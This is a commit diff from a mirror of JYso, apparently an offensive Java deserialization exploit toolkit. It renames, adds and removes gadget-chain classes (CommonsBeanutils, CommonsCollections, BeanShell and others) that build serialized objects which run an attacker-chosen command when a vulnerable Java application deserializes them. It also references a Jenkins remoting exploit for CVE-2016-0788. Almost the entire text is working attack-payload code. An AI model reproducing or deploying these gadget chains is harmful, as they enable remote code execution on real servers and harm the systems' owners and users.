mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
style: 1
This commit is contained in:
@@ -141,6 +141,7 @@ tasks.withType(Javadoc) {
|
||||
options.encoding = 'UTF-8'
|
||||
}
|
||||
|
||||
|
||||
compileJava {
|
||||
options.compilerArgs << '-XDignore.symbol.file'
|
||||
options.fork = true
|
||||
|
||||
@@ -26,7 +26,7 @@ import java.rmi.activation.ActivationInstantiator;
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
* <p>
|
||||
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
* <p>
|
||||
|
||||
@@ -19,9 +19,6 @@ import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author su18
|
||||
*/
|
||||
public class RMIBindExploit {
|
||||
|
||||
|
||||
|
||||
@@ -25,11 +25,13 @@ public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
i.eval(payload);
|
||||
|
||||
XThis xt = new XThis(i.getNameSpace(), i);
|
||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
|
||||
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
|
||||
return priorityQueue;
|
||||
|
||||
@@ -2,12 +2,12 @@ package com.qi4l.JYso.gadgets;
|
||||
|
||||
import java.net.URI;
|
||||
|
||||
public class BindingEnumeration implements ObjectPayload<Object>{
|
||||
public class BindingEnumeration implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
|
||||
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1])));
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -12,8 +12,8 @@ import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class CommonsBeanutils1183 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.6.0"})
|
||||
public class CommonsBeanutils160 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;");
|
||||
|
||||
Class beanCompareClazz = ctClass.toClass();
|
||||
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
// switch method called by comparator
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -10,7 +10,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsBeanutils1 implements ObjectPayload<Object> {
|
||||
public class CommonsBeanutils192 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+2
-2
@@ -15,8 +15,8 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class CommonsBeanutils2183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
@@ -1,46 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
|
||||
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
// 修改BeanComparator类的serialVersionUID
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
Reflections.setFieldValue(comparator, "property", null);
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||
ctBeanComparator.defrost();
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -14,7 +14,7 @@ import java.util.PriorityQueue;
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
@@ -34,7 +34,7 @@ public class CommonsBeanutils3183 implements ObjectPayload<Object>{
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiURL);
|
||||
rs.setMatchColumn("su18");
|
||||
rs.setMatchColumn("qi4l");
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
@@ -17,7 +17,7 @@ import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
|
||||
+1
-1
@@ -14,7 +14,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
|
||||
public class CommonsBeanutilsAttrCompare192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+1
-1
@@ -9,7 +9,7 @@ import java.math.BigInteger;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
||||
public class CommonsBeanutils3 implements ObjectPayload<Object> {
|
||||
public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
+1
-1
@@ -15,7 +15,7 @@ import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
|
||||
public class CommonsBeanutilsObjectToStringComparator192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
@@ -15,7 +15,7 @@ import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
|
||||
+2
-2
@@ -10,9 +10,9 @@ import org.apache.logging.log4j.util.PropertySource;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
|
||||
public class CommonsBeanutilsPropertySource192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
@@ -16,7 +16,6 @@ import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
|
||||
public class CommonsCollections10 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
@@ -1,31 +1,42 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
|
||||
@Authors({Authors.Jayl1n})
|
||||
public class CommonsCollections12 implements ObjectPayload<Object>{
|
||||
@Override
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{ new ConstantTransformer(1) });
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Map hashMap1 = new HashMap();
|
||||
Map hashMap2 = new HashMap();
|
||||
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
|
||||
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||
|
||||
defaultedMap1.put("yy", 1);
|
||||
defaultedMap2.put("zZ", 1);
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(defaultedMap1, 1);
|
||||
hashtable.put(defaultedMap2, 1);
|
||||
defaultedMap2.remove("yy");
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
|
||||
|
||||
return hashtable;
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, entry);
|
||||
|
||||
// arm with actual transformer chain
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
return val;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,41 +2,34 @@ package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
@Authors({Authors.Jayl1n})
|
||||
public class CommonsCollections13 implements ObjectPayload<Object>{
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections13 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{ new ConstantTransformer(1) });
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1);
|
||||
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
|
||||
Reflections.setFieldValue(decorate, "factory", transformerChain);
|
||||
Reflections.setFieldValue(tiedMapEntry, "key", 233);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, entry);
|
||||
|
||||
// arm with actual transformer chain
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
return val;
|
||||
return hashMap;
|
||||
//return hashtable;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections14 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections15 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.lang.annotation.Target;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections16 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
HashMap<Object, Object> map1 = new HashMap<>();
|
||||
map1.put("value",tiedMapEntry);
|
||||
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
|
||||
Anotationdeclared.setAccessible(true);
|
||||
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
return h;
|
||||
}
|
||||
}
|
||||
@@ -12,10 +12,12 @@ import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* CC6的简化写法
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
|
||||
|
||||
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
@@ -14,10 +14,8 @@ import java.util.Comparator;
|
||||
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({"navalorenzo"})
|
||||
|
||||
public class CommonsCollections8 implements ObjectPayload<TreeBag> {
|
||||
|
||||
|
||||
public TreeBag getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK5 implements ObjectPayload<Hashtable> {
|
||||
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||
Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
|
||||
lazyMap1.put("yy", 1);
|
||||
|
||||
Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
|
||||
lazyMap2.put("zZ", 1);
|
||||
|
||||
// Use the colliding Maps as keys in Hashtable
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(lazyMap1, 1);
|
||||
hashtable.put(lazyMap2, 2);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
// Needed to ensure hash collision after previous manipulations
|
||||
lazyMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections4.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:4.0"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsCollectionsK6 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
Map<Object, Object> lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||
|
||||
HashMap<Object, Object> expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "QI4L");
|
||||
lazyMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user